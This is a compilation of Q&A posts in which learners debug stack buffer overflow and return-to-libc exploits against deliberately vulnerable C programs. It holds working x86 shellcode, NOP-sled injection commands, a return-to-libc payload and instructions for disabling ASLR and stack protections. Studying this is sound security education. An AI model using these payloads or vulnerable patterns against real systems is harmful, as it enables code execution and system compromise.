I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
Here is my C program
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
As I step through the application, it generates SIG FAULT on final ret instruction. At that point EIP is correctly set to 0xffffd30c. This address is addressable and contains series of NOP, followed by my shell code as shown in the payload.
I have disabled the ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
and also compiled my binary using fno-stack-protector option.
Any idea what's the cause of SIGSEGV ?
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
Have you disabled stack smashing protection in GCC (-fno-stack-protector)?
How to turn off gcc compiler optimization to enable buffer overflow
Related
I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.
If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.
First of all, I have deactivated ASLR on my OS by doing this :
echo 0 > /proc/sys/kernel/randomize_va_space
Here is my vulnerable C code :
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
I compiled it in 32 bit using gcc on a 64 bit machine with the following line :
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.
Here is my shellcode (NOP|shellcode-payload|return-address) :
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
By putting a break func in gdb, I can print the following bytes showing a bit of the stack.
If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?
For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?
It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.
You should use quotes to force the entire output to be a single argument: "$(python2 ... )"
So after taking a Software Security class I became very interested in tinkering with how shellcode works with buffer overflows. Most threads I read about the topic involve having the shellcode as a char array and the user not adding the -fno-stack-protector / -z execstack flags for gcc. I've tried turning off ASLR (though I'm unsure if it's relevant?), there is no stack canary or anything involved. I'm using a cyclic offset generator to find the stack offset and using gdb to find the start of the buffer (so I know I have the correct return address). Everything is in gdb so I'm aware there will be an address difference when running outside of gdb, I originally had a NOP sled but removed it to reduce complexity.
So I've reached my wits end... I feel like it might be something at the assembly layer that I'm not understanding/haven't learned. Might be something silly....
First I have a test-case program that just takes the shellcode as a commandline argument which successfully pops the shell:
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[100];
strcpy(shellcode,argv[1]);
int (*ret)() = (int(*)())shellcode;
ret();
}
root#kali:~/tmp# ./test2 $(python -c 'print
"\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"')
root#kali:/root/tmp# <-- New shell popped
Next I wanted to try to actually overflow a buffer to overwrite the stored EIP address and run the shellcode, this case continually results in a segfault...
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
void login_success(char *password)
{
char pass[60];
strcpy(pass, password);
}
int main(int argc, char *argv[])
{
login_success(argv[1]);
}
the offset to eip is 72 bytes, my shellcode is 72 bytes long + adding the eip overwrite.
Shellcode looks like:
buf = ""
buf += "\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"
#0xffffd264
buf += "\x64\xd2\xff\xff"
print buf
Running this results in a segmentation fault...
If I step through gdb they both reach the shellcode, I've followed every step and it all their commands are the same up until it has to make a call instruction.
In the images below the strcpy instance is on the left, the test-case is on the right:
I'm not sure if it has to do with the ret instruction from the previous stackframe where the overflow occured? I can provide any additional information if needed. Any information about what I should research further would be appreciated!
I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
Here is my C program
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
As I step through the application, it generates SIG FAULT on final ret instruction. At that point EIP is correctly set to 0xffffd30c. This address is addressable and contains series of NOP, followed by my shell code as shown in the payload.
I have disabled the ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
and also compiled my binary using fno-stack-protector option.
Any idea what's the cause of SIGSEGV ?
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
Have you disabled stack smashing protection in GCC (-fno-stack-protector)?
How to turn off gcc compiler optimization to enable buffer overflow
I wrote a simple ASM file and ran it in a C file I'd written. I got a segentation fault. However, when I execute the compiled ASM file, I get no error.
I am running 64 bit and using 32 bit shellcode. Is that the issue?
It can't be, because I'm getting a segmentation fault with this:
char shellcode[] = "\x90"; //simple NOP in ASM
int main(int argc, char **argv)
{
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Can someone please run this and tell me whether or not they get a segmentation fault. I have used 3 or 4 other C files as well. None have worked.
Update:
((void(*)(void))code)();
Seems to be working in place of those three lines.
As mentioned above the shellcode is in non-executable memory. Try recompiling the program with the -fno-stack-protector and the -z execstack flags enabled.
That is:
gcc -fno-stack-protector -z execstack -O OutputFileName yourShellCode.c
Two issues:
The shell code might be in non-executable memory. In order to make it executable, you need to either ask the OS to make it executable (e.g. with mprotect(2) or VirtualProtect()), or allocate new executable memory and copy it there (e.g. with mmap(2) or VirtualAlloc().
Your shell code doesn't return/exit. After the CPU executes your NOP there (0x90), it's going to keep on executing code in the memory that comes after that NOP instruction. Most likely, this will crash quickly, but it might do other random, unpredictable things.
To fix #2, you need to explicitly either execute a return instruction (C3 on x86/x86-64) to return from your shell code, or you need to do something which never returns, like call the exit(3) function.
Maybe you should change your variable :
char shellcode[]
To:
const char shellcode[]
Like in this question:
segmentation-fault-error-when-exe-c
This one worked for me! :)
Try put the shellcode in the main function to make it a local variable:
int main(int argc, char **argv)
{
const char shellcode[] = "<your shellcode>";
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Then compile it with flags -fno-stack-protector and -z execstack:
gcc <filename>.c -fno-stack-protector -z execstack -o <filename>
I found this idea on stackexchange and it worked for me.
I'd like to learn how return to libc attacks work, so I have written a vulnerable program so that I can change the return address of a function to that of system(). However, the program doesn't appear to call system() and exits cleanly.
Prerequisites
- I'm using Debain Squeeze
- I have disabled address randomization with:
echo 0 > /proc/sys/kernel/randomize_va_space
Vulnerable Code
#include <stdio.h>
void someFunc(void);
void someFunc(void){
char buffer[64];
gets(buffer);
//puts(buffer);
}
int main(int argc, char **argv)
{
someFunc();
return 0;
}
The code is compiled with:
gcc -fno-stack-protector -ggdb -o vuln vuln.c
Using GDB I have asserted that:
/bin/zsh is # 0xbffff9b9
system() is # 0xb7ed0000
exit() is # 0xb7ec60f0
Exploit
I exploit it by piping in 72 zeros, exit, system and the pointer to /bin/zsh, in that order:
printf "%072x\xf0\x60\xec\xb7\x00\x00\xed\xb7\xb9\xf9\xff\xbf" | ./vuln
The program doesn't segfault or execute /bin/zsh.
In GDB
Interestingly, if I change SHELL="/xin/zsh", and execute it in gdb, the system call works:
Cannot exec /xin/zsh
So my questions are:
Have I understood the return to libc attack concept correctly?
Am I piping the malicious code in the correct way and order?
Why does it appear to work in GDB, but not in the shell?
(I've already read return to libc works in gdb but not when running alone)